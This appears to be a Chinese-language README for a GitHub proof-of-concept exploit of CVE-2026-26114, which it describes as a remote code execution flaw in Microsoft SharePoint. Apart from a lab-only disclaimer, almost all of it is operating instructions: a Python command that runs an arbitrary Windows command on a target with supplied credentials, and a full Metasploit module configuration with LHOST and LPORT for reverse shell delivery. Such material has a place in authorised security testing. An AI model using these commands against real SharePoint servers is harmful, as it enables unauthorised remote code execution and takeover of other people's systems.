huynambka/cve-2026-26114-poc针对CVE-2026-26114的概念验证漏洞利用，这是Microsoft SharePoint中的一个远程代码执行漏洞，包含Python PoC和Metasploit模块，用于自动化利用和反向shell传递。
仅限在实验室或获准测试的系统中使用。
pip install requests requests-ntlm
python poc/cve_2026_26114_rce.py ^
--target http://sharepoint.local ^
--username sp_user1 ^
--password "Password123!" ^
--domain SP19 ^
--cmd "cmd /c whoami > C:\Windows\Temp\cve_2026_26114.txt"
可以使用 --proxy http://127.0.0.1:8080、--insecure，或将 --cmd 替换为 --marker-file C:\Windows\Temp\marker.txt。
模块位于：
modules/exploits/windows/http/sharepoint_cve_2026_26114.rb
示例选项：
use exploit/windows/http/sharepoint_cve_2026_26114
set RHOSTS sharepoint.local
set RPORT 80
set SSL false
set TARGETURI /
set USERNAME sp_user1
set PASSWORD Password123!
set DOMAIN SP19
set SRVHOST 192.168.56.1
set SRVPORT 8080
set LHOST 192.168.56.1
set LPORT 4444
check
run
如果不使用自动发现，请额外设置 TAXONOMY_STORE_ID、TAXONOMY_GROUP_ID、SITE_ID、WEB_ID、JOB_CREATOR_ID。